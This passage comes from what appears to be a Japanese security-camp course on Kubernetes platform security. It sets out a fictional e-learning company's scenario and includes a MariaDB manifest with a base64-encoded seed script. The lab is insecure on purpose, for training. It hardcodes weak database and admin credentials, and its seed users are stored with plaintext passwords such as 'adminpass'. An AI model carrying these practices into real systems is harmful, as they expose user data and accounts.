75 | │ └─────────────────┬─────────────────────────────┘ │
76 | │ │ HTTP API calls │
77 | │ │ │
78 | │ ┌───────────────────────────────────────────────┐ │
79 | │ │ Backend API │ │
80 | │ │ (Go/Gin) │ │
81 | │ └─────────────────┬─────────────────────────────┘ │
82 | │ │ MySQL queries │
83 | │ │ │
84 | │ ┌───────────────────────────────────────────────┐ │
85 | │ │ Database │ │
86 | │ │ (MariaDB) │ │
87 | │ └───────────────────────────────────────────────┘ │
88 | └──────────────────────────────────────────────────────┘
89 | ```
90 |
91 | ### 2.3 アプリケーション機能
92 |
93 | **無敗塾の主要機能**:
94 | - **学習管理システム**: コース管理、進捗追跡、成績評価
95 | - **ユーザー認証**: シンプルなユーザー名・パスワード認証
96 | - **REST API**: Goベースのバックエンドサービス
97 | - **データ管理**: ユーザー情報、学習データ、コース情報
98 | - **管理機能**: 教材アップロード、ユーザー管理、分析ダッシュボード(演習では未実装)
99 |
100 | 
101 |
102 | ### 2.4 セキュリティ上の重要データ
103 |
104 | 以下は、無敗塾が扱う機密性の高いデータです。
105 |
106 | #### 個人情報
107 | - 学習者の氏名、ユーザー名、パスワード
108 | - 学習履歴、成績データ、進捗情報
109 | - メールアドレス、プロフィール情報
110 |
111 | #### 認証・認可情報
112 | - ユーザーパスワード、セッション管理情報
113 | - 管理者権限フラグ、アクセストークン
114 |
115 | #### ビジネス機密情報
116 | - 教材コンテンツ、問題・コース情報
117 | - 利用統計、学習データ分析結果
118 |
119 | #### 将来的に扱う予定の法人データ
120 | - 企業従業員の個人情報、研修履歴
121 | - 企業別の学習カリキュラム
122 |
123 | ### 2.5 技術スタック
124 |
125 | - **フロントエンド**: React (TypeScript)
126 | - **バックエンド**: Go (Gin framework)
127 | - **データベース**: MariaDB
128 | - **コンテナ**: Docker, Kubernetes
129 | - **CI/CD**: GitLab CI
130 | - **ログ監視**: Loki, Grafana
131 |
132 | ### 2.6 現在のセキュリティ成熟度
133 |
134 | **Level 1 (導入期)**: 急速な成長により、セキュリティ対策が追いついていない状況
135 |
136 | - ✅ HTTPSアクセス、基本的なIngress設定
137 | - ✅ 基本的なCI/CDパイプライン構築
138 | - ✅ Kubernetesの監査ログ収集
139 | - ❌ 脆弱性管理なし
140 | - ❌ 実行環境の監視未実施
141 | - etc...
142 |
143 | ## 3. インフラエンジニアとしての役割
144 |
145 | 皆さんは無敗塾のインフラエンジニアとして、前任者から引き継いだプラットフォームの管理およびセキュリティ強化を担当します。本講義ではプラットフォームセキュリティに焦点を当て、セキュリティ上の課題を検討・解決していきます。
146 |
147 | ### 3.1 引き継ぎ状況と前任者のメモ
148 |
149 | 前任のインフラエンジニアが残した引き継ぎドキュメントには、今後の課題が記載されています。
150 |
151 | **前任者からの引き継ぎメモ**:
152 | ```
153 | 【現状の課題】
154 | 無敗塾のセキュリティ体制は最低限の設定しかされていない。
155 | 法人利用を想定したセキュリティ設定、運用体制が大幅に不足している状況。
156 |
157 | 【法人展開への技術的懸念】
158 | - 現在のセキュリティ設定ではサイバー攻撃に十分に対処できない
159 | - アクセス制御が不十分でデータ漏洩リスクが高い
160 | - 異常検知や攻撃監視の仕組みがなく、インシデント発見が困難
161 |
162 | 【経営陣からのプレッシャー】
163 | 「無敗ラーニング展開前に、まず無敗塾を確実に固めてほしい」
164 | 「セキュリティは重要だが、サービス停止や開発遅延は避けたい」
165 |
166 | 【その他コメント】
167 | 「法人顧客は『無敗塾で使っているのと同じ基盤』と聞いている。つまり無敗塾のセキュリティレベルが、そのまま法人展開の可否を決める。責任重大だが、具体的な指針は『業界標準に合わせて』としか言われていない...」
168 | ```
169 |
170 | ## 4. 組織・チーム体制
171 |
172 | ITインフラ管理部門は小規模なチームで、急成長する事業を支えています。法人展開に向けたセキュリティ強化への期待が高まっていますが、具体的な指針は少なく、現場の判断に委ねられている状況です。
173 |
174 | ```
175 | 無敗塾 組織図
176 | ├── 経営陣 ← 「法人展開前に無敗塾を確実に固めてほしい」
177 | ├── ITインフラ管理部門
178 | │ └── インフラエンジニア (3-4名) ← 皆さんの配属先
179 | ├── 開発部門
180 | │ ├── 無敗塾チーム (5名) ← 既存サービス
181 | │ └── 無敗ラーニング企画チーム (2名) ← 来年度展開予定
182 | └── 外部パートナー
183 | └── SaaS、クラウドベンダー
184 | ```
185 |
186 | **現在のプレッシャー**:
187 | - **経営陣**: 「法人展開のチャンスを逃したくない。セキュリティ基盤をしっかり固めてほしい」
188 | - **開発チーム**: 「セキュリティは重要だが、機能開発のスピードも落としたくない」
189 | - **営業・CS**: 「法人顧客候補から技術的な安全性について質問が多い」
190 |
191 | **責任分界点**:
192 | - **インフラ管理部門**: プラットフォーム全体のセキュリティ、インフラ運用
193 | - **開発部門**: アプリケーションコード、ビジネスロジック
194 | - **外部パートナー**: SaaSやクラウドインフラの基盤部分
195 |
196 | **セキュリティ体制の現状**:
197 | - **セキュリティ専門人材**: インフラエンジニア(兼セキュリティ担当者)以外にセキュリティを専門に取り扱う人材はいない
198 | - **開発チームのセキュリティ意識**: アプリ開発者はこれまでセキュリティについては特に意識しておらず、機能実装を優先してきた
199 | - **セキュリティ責任の所在**:
200 | - アプリケーションの脆弱性修正は開発部門の担当
201 | - セキュリティを意識した実装の啓蒙や環境整備は、インフラエンジニアの役割
202 | - 組織全体のセキュリティ文化醸成もインフラ管理部門に期待されている
203 |
204 | **課題**:
205 | セキュリティ強化の方針や優先順位を、限られた情報とリソースの中でインフラチームが自ら決定しなければならない状況。法人展開というビジネスチャンスを成功させるため、「業界標準レベルのセキュリティ」という曖昧な指示のもと、具体的な対策を現場で判断する必要がある。
206 |
207 | ## 5. 演習環境の説明
208 |
209 | ### 5.1 提供される環境
210 | 演習では、事前に構築された以下の環境を使用します:
211 |
212 | - **Kubernetesクラスタ**: EC2上に構築されたkindクラスタ
213 | - **無敗塾アプリケーション**: クラスタ上で動作するWebアプリケーション
214 | - **Gitlab サーバー**: ソースコード、開発パイプラインの管理
215 | - **Harbor レジストリ**: コンテナイメージの管理
216 | - **監視スタック**: Loki, Grafana
217 |
218 | 環境構築手順
219 |
220 | ```bash
221 | cd /root/helm/
222 |
223 | # 一括適用
224 | helmfile sync
225 |
226 | # 特定OSSのみ
227 | helmfile sync --selector app=
228 | ```
229 |
230 | ### 5.2 アクセス情報
231 |
232 | ※ ローカル環境から8082→443のポートフォワード設定をしている想定です。
233 |
234 | ```bash
235 | # アプリケーションURL
236 | https://app.seccamp.com:8082
237 | ## ログイン情報
238 | username: sato
239 | password: pass1
240 |
241 | # ソースコードリポジトリ
242 | Gitlab: https://gitlab.seccamp.com:8082
243 | ## ログイン情報
244 | username: root
245 | password: 以下で取得
246 | kubectl view-secret -n gitlab gitlab-initial-root-password
247 |
248 | # コンテナレジストリ
249 | Harbor: https://harbor.seccamp.com:8082
250 | ## ログイン情報
251 | username: admin
252 | password: harboradminpassword
253 |
254 | # 監視ダッシュボード
255 | Grafana: https://grafana.seccamp.com:8082
256 | ## ログイン情報
257 | k view-secret -n monitoring grafana
258 |
259 | # その他
260 | ArgoCD: https://argocd.seccamp.com:8082
261 | Hubble: https://hubble.seccamp.com:8082
262 | ```
263 |
264 | ### 5.3 前任者からの引き継ぎドキュメント
265 |
266 | 演習環境には前任者が残した以下の情報が含まれています。
267 |
268 | ```bash
269 | # 基本的な環境確認コマンド
270 | kubectl get nodes
271 | kubectl get namespaces
272 | kubectl get pods -A
273 |
274 | # 現在稼働中のアプリケーション確認
275 | kubectl get deployments -n seccamp-app
276 | kubectl get services -n seccamp-app
277 | kubectl get configmaps,secrets -n seccamp-app
278 |
279 | # 監視システムの状態
280 | kubectl get pods -n monitoring
281 | ```
282 |
283 | **前任者のメモ(引き継ぎドキュメントより)**:
284 | ```
285 | TODO: セキュリティ設定の見直し(法人展開準備)
286 | - 基本的なセキュリティ設定が不十分
287 | - コンテナ・Pod レベルでの適切な制御が未実装
288 | - ネットワークアクセス制御が甘い
289 | - 機密情報の管理方法に問題
290 | - 権限管理・アクセス制御の見直しが必要
291 | - 監査ログや証跡が不十分
292 | - セキュリティ監視体制が未整備
293 |
294 | 緊急度:高
295 | 法人展開のチャンスを逃さないため、法人監査に通るレベルのセキュリティ対策が必要。
296 | ただし開発チームからは「デプロイが複雑になるのは困る」と言われている。
297 |
298 | 会社からは「法人顧客の要求レベルに合わせて」と言われているが、具体的にどこまでやればいいのか不明。業界標準という曖昧な指示のみ。何かあったらインフラチームの責任になる状況で、判断に迷う。
299 | ```
300 |
301 | ### 5.4 トラブルシューティング
302 |
303 | ```bash
304 | # Pod状態の確認
305 | kubectl get pods -n seccamp-app -o wide
306 | kubectl describe pod -n seccamp-app
307 | kubectl logs -n seccamp-app
308 |
309 | # 現在のユーザー権限確認
310 | kubectl auth whoami
311 | kubectl auth can-i get pods --namespace=seccamp-app
312 |
313 | # Service Account確認
314 | kubectl get serviceaccount -n seccamp-app
315 | kubectl describe serviceaccount default -n seccamp-app
316 |
317 | # ネットワークの確認
318 | curl -v https://app.seccamp.com
319 | nslookup app.seccamp.com
320 |
321 | kubectl get services,ingress -n seccamp-app
322 | kubectl get ingress -n seccamp-app app-frontend-ingress -o yaml
323 | kubectl logs -n ingress-nginx ingress-nginx-controller-b5d5b7c-2n4k4
324 |
325 | # リソース使用状況確認
326 | kubectl top nodes
327 | kubectl describe node | grep -A 5 "Allocated resources"
328 | ```
329 |
330 | ---
331 |
332 | ## 次のステップ
333 |
334 | - [演習1 環境の把握](./training.md)
335 | - [2章 クラウドネイティブセキュリティの基礎](../02_cloud_native_sec/README.md)
336 |
--------------------------------------------------------------------------------
/app/infra/manifests/db-deployment.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: apps/v1
2 | kind: Deployment
3 | metadata:
4 | name: db
5 | namespace: seccamp-app
6 | spec:
7 | replicas: 1
8 | selector:
9 | matchLabels:
10 | app: db
11 | template:
12 | metadata:
13 | labels:
14 | app: db
15 | spec:
16 | containers:
17 | - name: mariadb
18 | image: mariadb:11.3
19 | env:
20 | - name: MYSQL_ROOT_PASSWORD
21 | value: "password"
22 | - name: MYSQL_DATABASE
23 | value: "seccamp2025"
24 | - name: MYSQL_USER
25 | value: "rootuser"
26 | - name: MYSQL_PASSWORD
27 | value: "password"
28 | ports:
29 | - containerPort: 3306
30 | volumeMounts:
31 | - name: db-init
32 | mountPath: /docker-entrypoint-initdb.d
33 | volumes:
34 | - name: db-init
35 | configMap:
36 | name: db-init-sql
37 | ---
38 | apiVersion: v1
39 | kind: ConfigMap
40 | metadata:
41 | name: db-init-sql
42 | namespace: seccamp-app
43 | binaryData:
44 | init.sql: |-
45 | VVNFIHNlY2NhbXAyMDI1OwoKLS0gTWFyaWFEQiBpbml0aWFsaXphdGlvbiBTUUwgKEVuZ2xpc2ggb25seSkKLS0gVXNlciBpbmZvcm1hdGlvbiB0YWJsZQpDUkVBVEUgVEFCTEUgSUYgTk9UIEVYSVNUUyB1c2VycyAoCiAgICBpZCBJTlQgQVVUT19JTkNSRU1FTlQgUFJJTUFSWSBLRVksCiAgICB1c2VybmFtZSBWQVJDSEFSKDY0KSBVTklRVUUgTk9UIE5VTEwsCiAgICBmdWxsX25hbWUgVkFSQ0hBUigxMjgpLAogICAgcGFzc3dvcmQgVkFSQ0hBUigyNTYpIE5PVCBOVUxMLAogICAgaXNfYWRtaW4gQk9PTEVBTiBERUZBVUxUIEZBTFNFCik7CgotLSBMZWFybmluZyBjb250ZW50IGluZm9ybWF0aW9uIHRhYmxlCkNSRUFURSBUQUJMRSBJRiBOT1QgRVhJU1RTIGNvdXJzZXMgKAogICAgaWQgSU5UIEFVVE9fSU5DUkVNRU5UIFBSSU1BUlkgS0VZLAogICAgdGl0bGUgVkFSQ0hBUigxMjgpIE5PVCBOVUxMLAogICAgZGVzY3JpcHRpb24gVEVYVAopOwoKLS0gTGVhcm5pbmcgcHJvZ3Jlc3MgdGFibGUgKHdpdGggY29tcG9zaXRlIHVuaXF1ZSBjb25zdHJhaW50KQpDUkVBVEUgVEFCTEUgSUYgTk9UIEVYSVNUUyBwcm9ncmVzcyAoCiAgICBpZCBJTlQgQVVUT19JTkNSRU1FTlQgUFJJTUFSWSBLRVksCiAgICB1c2VyX2lkIElOVCBOT1QgTlVMTCwKICAgIGNvdXJzZV9pZCBJTlQgTk9UIE5VTEwsCiAgICBwZXJjZW50IElOVCBERUZBVUxUIDAsCiAgICB1cGRhdGVkX2F0IERBVEVUSU1FLAogICAgRk9SRUlHTiBLRVkgKHVzZXJfaWQpIFJFRkVSRU5DRVMgdXNlcnMoaWQpLAogICAgRk9SRUlHTiBLRVkgKGNvdXJzZV9pZCkgUkVGRVJFTkNFUyBjb3Vyc2VzKGlkKSwKICAgIFVOSVFVRSBLRVkgdXNlcl9jb3Vyc2VfdW5pcXVlICh1c2VyX2lkLCBjb3Vyc2VfaWQpCik7CgotLSBTYW1wbGUgZGF0YSBpbnNlcnRpb24gU1FMCi0tIFVzZXIgc2FtcGxlIGRhdGEgKEVuZ2xpc2ggbmFtZXMgb25seSkKSU5TRVJUIElOVE8gdXNlcnMgKHVzZXJuYW1lLCBmdWxsX25hbWUsIHBhc3N3b3JkLCBpc19hZG1pbikgVkFMVUVTCiAgKCdzYXRvJywgJ1Rhcm8gU2F0bycsICdwYXNzMScsIEZBTFNFKSwKICAoJ3N1enVraScsICdIYW5ha28gU3V6dWtpJywgJ3Bhc3MyJywgRkFMU0UpLAogICgndGFrYWhhc2hpJywgJ0tlbmljaGkgVGFrYWhhc2hpJywgJ3Bhc3MzJywgRkFMU0UpLAogICgndGFuYWthJywgJ1l1bWkgVGFuYWthJywgJ3Bhc3M0JywgRkFMU0UpLAogICgnd2F0YW5hYmUnLCAnU2hvdGEgV2F0YW5hYmUnLCAncGFzczUnLCBGQUxTRSksCiAgKCdpdG8nLCAnTWlzYWtpIEl0bycsICdwYXNzNicsIEZBTFNFKSwKICAoJ3lhbWFtb3RvJywgJ1l1dG8gWWFtYW1vdG8nLCAncGFzczcnLCBGQUxTRSksCiAgKCduYWthbXVyYScsICdBeWFrYSBOYWthbXVyYScsICdwYXNzOCcsIEZBTFNFKSwKICAoJ2tvYmF5YXNoaScsICdOYW90byBLb2JheWFzaGknLCAncGFzczknLCBGQUxTRSksCiAgKCdrYXRvJywgJ0VtaSBLYXRvJywgJ3Bhc3MxMCcsIEZBTFNFKSwKICAoJ3lvc2hpZGEnLCAnVGFrdW1pIFlvc2hpZGEnLCAncGFzczExJywgRkFMU0UpLAogICgneWFtYWRhJywgJ1Nhb3JpIFlhbWFkYScsICdwYXNzMTInLCBGQUxTRSksCiAgKCdzYXNha2knLCAnUnlvc3VrZSBTYXNha2knLCAncGFzczEzJywgRkFMU0UpLAogICgneWFtYWd1Y2hpJywgJ01heXVtaSBZYW1hZ3VjaGknLCAncGFzczE0JywgRkFMU0UpLAogICgnbWF0c3Vtb3RvJywgJ1RvbW95YSBNYXRzdW1vdG8nLCAncGFzczE1JywgRkFMU0UpLAogICgnaW5vdWUnLCAnQ2hpaGlybyBJbm91ZScsICdwYXNzMTYnLCBGQUxTRSksCiAgKCdraW11cmEnLCAnRGFpc3VrZSBLaW11cmEnLCAncGFzczE3JywgRkFMU0UpLAogICgnaGF5YXNoaScsICdNaXdhIEhheWFzaGknLCAncGFzczE4JywgRkFMU0UpLAogICgnc2hpbWl6dScsICdLYXp1eWEgU2hpbWl6dScsICdwYXNzMTknLCBGQUxTRSksCiAgKCdzYWl0bycsICdLYW9yaSBTYWl0bycsICdwYXNzMjAnLCBGQUxTRSksCiAgKCdhZG1pbicsICdBZG1pbmlzdHJhdG9yJywgJ2FkbWlucGFzcycsIFRSVUUpOwoKLS0gQ291cnNlIHNhbXBsZSBkYXRhIChFbmdsaXNoIG9ubHkgLSBCYXNpYyB0byBBZHZhbmNlZCkKSU5TRVJUIElOVE8gY291cnNlcyAodGl0bGUsIGRlc2NyaXB0aW9uKSBWQUxVRVMKICAtLSBCYXNpYy9JbnRyb2R1Y3Rpb24gQ291cnNlcyAoMS0xMCkKICAoJ1B5dGhvbiBJbnRyb2R1Y3Rpb24nLCAnTGVhcm4gdGhlIGJhc2ljcyBvZiBQeXRob24gcHJvZ3JhbW1pbmcnKSwKICAoJ0t1YmVybmV0ZXMgRnVuZGFtZW50YWxzJywgJ0xlYXJuIHRoZSBmdW5kYW1lbnRhbHMgb2YgS3ViZXJuZXRlcycpLAogICgnR28gTGFuZ3VhZ2UgSW50cm9kdWN0aW9uJywgJ0xlYXJuIHRoZSBiYXNpY3Mgb2YgR28gcHJvZ3JhbW1pbmcgbGFuZ3VhZ2UnKSwKICAoJ1JlYWN0IEludHJvZHVjdGlvbicsICdMZWFybiB0aGUgYmFzaWNzIG9mIFJlYWN0IGRldmVsb3BtZW50JyksCiAgKCdTZWN1cml0eSBGdW5kYW1lbnRhbHMnLCAnTGVhcm4gdGhlIGZ1bmRhbWVudGFscyBvZiBjeWJlcnNlY3VyaXR5JyksCiAgKCdMaW51eCBJbnRyb2R1Y3Rpb24nLCAnTGVhcm4gdGhlIGJhc2ljcyBvZiBMaW51eCBvcGVyYXRpbmcgc3lzdGVtJyksCiAgKCdDbG91ZCBGdW5kYW1lbnRhbHMnLCAnTGVhcm4gdGhlIGZ1bmRhbWVudGFscyBvZiBjbG91ZCB0ZWNobm9sb2dpZXMnKSwKICAoJ05ldHdvcmsgRnVuZGFtZW50YWxzJywgJ0xlYXJuIHRoZSBiYXNpY3Mgb2YgY29tcHV0ZXIgbmV0d29ya2luZycpLAogICgnRG9ja2VyIEludHJvZHVjdGlvbicsICdMZWFybiB0aGUgYmFzaWNzIG9mIERvY2tlciBjb250YWluZXJpemF0aW9uJyksCiAgKCdDSS9DRCBJbnRyb2R1Y3Rpb24nLCAnTGVhcm4gdGhlIGJhc2ljcyBvZiBDb250aW51b3VzIEludGVncmF0aW9uIGFuZCBEZXBsb3ltZW50JyksCiAgCiAgLS0gSW50ZXJtZWRpYXRlIENvdXJzZXMgKDExLTIwKQogICgnUHl0aG9uIFdlYiBEZXZlbG9wbWVudCcsICdCdWlsZCB3ZWIgYXBwbGljYXRpb25zIHVzaW5nIERqYW5nbyBhbmQgRmxhc2snKSwKICAoJ0t1YmVybmV0ZXMgT3BlcmF0aW9ucycsICdBZHZhbmNlZCBLdWJlcm5ldGVzIGNsdXN0ZXIgbWFuYWdlbWVudCBhbmQgb3BlcmF0aW9ucycpLAogICgnR28gTWljcm9zZXJ2aWNlcycsICdCdWlsZCBzY2FsYWJsZSBtaWNyb3NlcnZpY2VzIHdpdGggR28nKSwKICAoJ1JlYWN0IFN0YXRlIE1hbmFnZW1lbnQnLCAnQWR2YW5jZWQgUmVhY3QgcGF0dGVybnMgd2l0aCBSZWR1eCBhbmQgQ29udGV4dCBBUEknKSwKICAoJ1BlbmV0cmF0aW9uIFRlc3RpbmcnLCAnTGVhcm4gZXRoaWNhbCBoYWNraW5nIGFuZCB2dWxuZXJhYmlsaXR5IGFzc2Vzc21lbnQnKSwKICAoJ0xpbnV4IFN5c3RlbSBBZG1pbmlzdHJhdGlvbicsICdBZHZhbmNlZCBMaW51eCBzZXJ2ZXIgbWFuYWdlbWVudCBhbmQgYXV0b21hdGlvbicpLAogICgnQVdTIENsb3VkIEFyY2hpdGVjdHVyZScsICdEZXNpZ24gYW5kIGltcGxlbWVudCBBV1MgY2xvdWQgc29sdXRpb25zJyksCiAgKCdOZXR3b3JrIFNlY3VyaXR5JywgJ0ltcGxlbWVudCBuZXR3b3JrIHNlY3VyaXR5IG1lYXN1cmVzIGFuZCBwcm90b2NvbHMnKSwKICAoJ0RvY2tlciBPcmNoZXN0cmF0aW9uJywgJ0NvbnRhaW5lciBvcmNoZXN0cmF0aW9uIHdpdGggRG9ja2VyIFN3YXJtJyksCiAgKCdEZXZPcHMgUGlwZWxpbmUgRGVzaWduJywgJ0Rlc2lnbiBhbmQgaW1wbGVtZW50IGNvbXByZWhlbnNpdmUgRGV2T3BzIHBpcGVsaW5lcycpLAogIAogIC0tIEFkdmFuY2VkIENvdXJzZXMgKDIxLTMwKQogICgnUHl0aG9uIE1hY2hpbmUgTGVhcm5pbmcnLCAnQWR2YW5jZWQgTUwgYWxnb3JpdGhtcyBhbmQgZGF0YSBzY2llbmNlIHdpdGggUHl0aG9uJyksCiAgKCdLdWJlcm5ldGVzIFNlY3VyaXR5JywgJ0FkdmFuY2VkIHNlY3VyaXR5IHByYWN0aWNlcyBmb3IgS3ViZXJuZXRlcyBjbHVzdGVycycpLAogICgnR28gUGVyZm9ybWFuY2UgT3B0aW1pemF0aW9uJywgJ0hpZ2gtcGVyZm9ybWFuY2UgR28gYXBwbGljYXRpb25zIGFuZCBwcm9maWxpbmcnKSwKICAoJ1JlYWN0IE5hdGl2ZSBEZXZlbG9wbWVudCcsICdDcm9zcy1wbGF0Zm9ybSBtb2JpbGUgZGV2ZWxvcG1lbnQgd2l0aCBSZWFjdCBOYXRpdmUnKSwKICAoJ0FkdmFuY2VkIFRocmVhdCBIdW50aW5nJywgJ0FkdmFuY2VkIGN5YmVyc2VjdXJpdHkgdGhyZWF0IGRldGVjdGlvbiBhbmQgYW5hbHlzaXMnKSwKICAoJ0xpbnV4IEtlcm5lbCBEZXZlbG9wbWVudCcsICdVbmRlcnN0YW5kaW5nIGFuZCBtb2RpZnlpbmcgdGhlIExpbnV4IGtlcm5lbCcpLAogICgnTXVsdGktQ2xvdWQgQXJjaGl0ZWN0dXJlJywgJ0Rlc2lnbiBzb2x1dGlvbnMgYWNyb3NzIG11bHRpcGxlIGNsb3VkIHByb3ZpZGVycycpLAogICgnTmV0d29yayBQcm90b2NvbCBBbmFseXNpcycsICdEZWVwIGRpdmUgaW50byBuZXR3b3JrIHByb3RvY29scyBhbmQgdHJhZmZpYyBhbmFseXNpcycpLAogICgnS3ViZXJuZXRlcyBDdXN0b20gUmVzb3VyY2VzJywgJ0RldmVsb3AgY3VzdG9tIGNvbnRyb2xsZXJzIGFuZCBvcGVyYXRvcnMnKSwKICAoJ0luZnJhc3RydWN0dXJlIGFzIENvZGUnLCAnQWR2YW5jZWQgVGVycmFmb3JtIGFuZCBpbmZyYXN0cnVjdHVyZSBhdXRvbWF0aW9uJyksCiAgCiAgLS0gRXhwZXJ0L1NwZWNpYWxpemVkIENvdXJzZXMgKDMxLTM1KQogICgnQUkvTUwgU3lzdGVtIERlc2lnbicsICdEZXNpZ24gYW5kIGRlcGxveSBwcm9kdWN0aW9uIE1MIHN5c3RlbXMgYXQgc2NhbGUnKSwKICAoJ0Nsb3VkIE5hdGl2ZSBTZWN1cml0eScsICdDb21wcmVoZW5zaXZlIHNlY3VyaXR5IGZvciBjbG91ZC1uYXRpdmUgYXBwbGljYXRpb25zJyksCiAgKCdEaXN0cmlidXRlZCBTeXN0ZW1zIEFyY2hpdGVjdHVyZScsICdEZXNpZ24gaGlnaGx5IHNjYWxhYmxlIGRpc3RyaWJ1dGVkIHN5c3RlbXMnKSwKICAoJ0Jsb2NrY2hhaW4gRGV2ZWxvcG1lbnQnLCAnU21hcnQgY29udHJhY3QgZGV2ZWxvcG1lbnQgYW5kIERlRmkgYXBwbGljYXRpb25zJyksCiAgKCdRdWFudHVtIENvbXB1dGluZyBGdW5kYW1lbnRhbHMnLCAnSW50cm9kdWN0aW9uIHRvIHF1YW50dW0gYWxnb3JpdGhtcyBhbmQgY29tcHV0aW5nJyk7CgotLSBMZWFybmluZyBwcm9ncmVzcyBzYW1wbGUgZGF0YSAoZXhwYW5kZWQgd2l0aCBhZHZhbmNlZCBjb3Vyc2VzKQpJTlNFUlQgSU5UTyBwcm9ncmVzcyAodXNlcl9pZCwgY291cnNlX2lkLCBwZXJjZW50LCB1cGRhdGVkX2F0KSBWQUxVRVMKICAtLSBCYXNpYyB1c2VycyBzdGFydGluZyB3aXRoIGZ1bmRhbWVudGFscwogICgxLCAxLCA1MCwgTk9XKCkpLCAoMSwgMiwgMCwgTk9XKCkpLCAoMSwgMywgMTAwLCBOT1coKSksCiAgKDIsIDEsIDgwLCBOT1coKSksICgyLCAyLCAyMCwgTk9XKCkpLCAoMiwgMywgMCwgTk9XKCkpLAogICgzLCAxLCAwLCBOT1coKSksICgzLCAyLCAwLCBOT1coKSksICgzLCAzLCAwLCBOT1coKSksCiAgCiAgLS0gQWR2YW5jZWQgdXNlcnMgd2l0aCBtdWx0aXBsZSBjb21wbGV0ZWQgY291cnNlcwogICg0LCAxLCAxMDAsIE5PVygpKSwgKDQsIDIsIDEwMCwgTk9XKCkpLCAoNCwgMywgMTAwLCBOT1coKSksCiAgKDQsIDExLCA3NSwgTk9XKCkpLCAoNCwgMTIsIDUwLCBOT1coKSksICg0LCAyMSwgMjUsIE5PVygpKSwKICAKICAtLSBJbnRlcm1lZGlhdGUgdXNlcnMgcHJvZ3Jlc3NpbmcgdGhyb3VnaCBkaWZmZXJlbnQgcGF0aHMKICAoNSwgMSwgMTAsIE5PVygpKSwgKDUsIDIsIDMwLCBOT1coKSksICg1LCAzLCA2MCwgTk9XKCkpLAogICg2LCA1LCAxMDAsIE5PVygpKSwgKDYsIDE1LCA4MCwgTk9XKCkpLCAoNiwgMjUsIDQwLCBOT1coKSksCiAgKDcsIDYsIDEwMCwgTk9XKCkpLCAoNywgMTYsIDYwLCBOT1coKSksICg3LCAyNiwgMjAsIE5PVygpKSwKICAoOCwgNywgMTAwLCBOT1coKSksICg4LCAxNywgOTAsIE5PVygpKSwgKDgsIDI3LCA3MCwgTk9XKCkpLAogIAogIC0tIERldk9wcyBmb2N1c2VkIGxlYXJuaW5nIHBhdGgKICAoOSwgOSwgMTAwLCBOT1coKSksICg5LCAxMCwgMTAwLCBOT1coKSksICg5LCAxOSwgODUsIE5PVygpKSwKICAoOSwgMjAsIDY1LCBOT1coKSksICg5LCAyOSwgNDUsIE5PVygpKSwgKDksIDMwLCAyNSwgTk9XKCkpLAogIAogIC0tIFNlY3VyaXR5IGZvY3VzZWQgbGVhcm5pbmcgcGF0aAogICgxMCwgNSwgMTAwLCBOT1coKSksICgxMCwgMTUsIDEwMCwgTk9XKCkpLCAoMTAsIDI1LCA5MCwgTk9XKCkpLAogICgxMCwgMTgsIDc1LCBOT1coKSksICgxMCwgMzIsIDUwLCBOT1coKSksCiAgCiAgLS0gRnVsbC1zdGFjayBkZXZlbG9wbWVudCBwYXRoCiAgKDExLCAxLCAxMDAsIE5PVygpKSwgKDExLCA0LCAxMDAsIE5PVygpKSwgKDExLCAxMSwgODAsIE5PVygpKSwKICAoMTEsIDE0LCA2MCwgTk9XKCkpLCAoMTEsIDI0LCA0MCwgTk9XKCkpLAogIAogIC0tIENsb3VkIGFyY2hpdGVjdHVyZSBzcGVjaWFsaXN0cwogICgxMiwgNywgMTAwLCBOT1coKSksICgxMiwgMTcsIDEwMCwgTk9XKCkpLCAoMTIsIDI3LCA4NSwgTk9XKCkpLAogICgxMiwgMzAsIDcwLCBOT1coKSksICgxMiwgMzIsIDMwLCBOT1coKSksCiAgCiAgLS0gTWFjaGluZSBMZWFybmluZyBlbnRodXNpYXN0cwogICgxMywgMSwgMTAwLCBOT1coKSksICgxMywgMjEsIDkwLCBOT1coKSksICgxMywgMzEsIDYwLCBOT1coKSksCiAgCiAgLS0gRW1lcmdpbmcgdGVjaG5vbG9neSBleHBsb3JlcnMKICAoMTQsIDM0LCA4MCwgTk9XKCkpLCAoMTQsIDM1LCA0MCwgTk9XKCkpLAogIAogIC0tIENvbXByZWhlbnNpdmUgbGVhcm5lcnMKICAoMTUsIDEsIDEwMCwgTk9XKCkpLCAoMTUsIDUsIDEwMCwgTk9XKCkpLCAoMTUsIDcsIDEwMCwgTk9XKCkpLAogICgxNSwgMTEsIDkwLCBOT1coKSksICgxNSwgMTUsIDgwLCBOT1coKSksICgxNSwgMTcsIDcwLCBOT1coKSksCiAgKDE1LCAyMSwgNjAsIE5PVygpKSwgKDE1LCAyNSwgNTAsIE5PVygpKSwgKDE1LCAyNywgNDAsIE5PVygpKTsKCg==
46 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
